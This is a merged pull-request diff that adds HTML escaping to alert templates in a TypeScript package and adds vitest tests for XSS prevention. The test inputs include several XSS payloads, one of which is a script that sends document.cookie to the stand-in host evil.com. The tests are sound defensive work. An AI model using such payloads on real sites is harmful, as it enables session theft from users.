Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
59 changes: 59 additions & 0 deletions packages/core/src/__tests__/templates/alert-xss.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
import { describe, it, expect } from 'vitest'
import { renderAlert, renderErrorAlert, renderSuccessAlert } from '../../templates/alert.template'

describe('renderAlert XSS prevention', () => {
it('should escape HTML in message to prevent XSS', () => {
const xssPayload = '<img src=x onerror="alert(\'XSS\')">'
const result = renderAlert({ type: 'error', message: xssPayload })

expect(result).not.toContain(xssPayload)
expect(result).toContain('&lt;img src=x onerror=&quot;alert(&#039;XSS&#039;)&quot;&gt;')
})

it('should escape script tags in message', () => {
const result = renderAlert({
type: 'error',
message: '<script>document.location="https://evil.com?c="+document.cookie</script>',
})

expect(result).not.toContain('<script>')
expect(result).toContain('&lt;script&gt;')
})

it('should escape HTML in title', () => {
const result = renderAlert({
type: 'error',
title: '<svg onload=alert(1)>',
message: 'safe message',
})

expect(result).not.toContain('<svg onload=alert(1)>')
expect(result).toContain('&lt;svg onload=alert(1)&gt;')
})

it('should render safe messages correctly', () => {
const result = renderAlert({ type: 'success', message: 'Login successful' })

expect(result).toContain('Login successful')
})

it('should escape messages via renderErrorAlert helper', () => {
const result = renderErrorAlert('<script>alert(1)</script>')

expect(result).not.toContain('<script>')
expect(result).toContain('&lt;script&gt;alert(1)&lt;/script&gt;')
})

it('should escape messages via renderSuccessAlert helper', () => {
const result = renderSuccessAlert('<img src=x onerror=alert(1)>')

expect(result).not.toContain('<img src=x')
expect(result).toContain('&lt;img src=x onerror=alert(1)&gt;')
})

it('should escape ampersands in message', () => {
const result = renderAlert({ type: 'info', message: 'Tom & Jerry' })

expect(result).toContain('Tom &amp; Jerry')
})
})
6 changes: 4 additions & 2 deletions packages/core/src/templates/alert.template.ts
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
import { escapeHtml } from '../utils/sanitize'

export type AlertType = 'success' | 'error' | 'warning' | 'info'

export interface AlertData {
Expand Down Expand Up @@ -58,11 +60,11 @@ export function renderAlert(data: AlertData): string {
<div class="${data.icon !== false ? 'ml-3' : ''}">
${data.title ? `
<h3 class="text-sm font-semibold ${textClasses[data.type]}">
${data.title}
${escapeHtml(data.title)}
</h3>
` : ''}
<div class="${data.title ? 'mt-1 text-sm' : 'text-sm'} ${messageTextClasses[data.type]}">
<p>${data.message}</p>
<p>${escapeHtml(data.message)}</p>
</div>
</div>
${data.dismissible ? `
Expand Down
6 changes: 4 additions & 2 deletions packages/core/src/templates/components/alert.template.ts
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
import { escapeHtml } from '../../utils/sanitize'

export type AlertType = 'success' | 'error' | 'warning' | 'info'

export interface AlertData {
Expand Down Expand Up @@ -58,11 +60,11 @@ export function renderAlert(data: AlertData): string {
<div class="${data.icon !== false ? 'ml-3' : ''}">
${data.title ? `
<h3 class="text-sm font-semibold ${textClasses[data.type]}">
${data.title}
${escapeHtml(data.title)}
</h3>
` : ''}
<div class="${data.title ? 'mt-1 text-sm' : 'text-sm'} ${messageTextClasses[data.type]}">
<p>${data.message}</p>
<p>${escapeHtml(data.message)}</p>
</div>
</div>
${data.dismissible ? `
Expand Down
Loading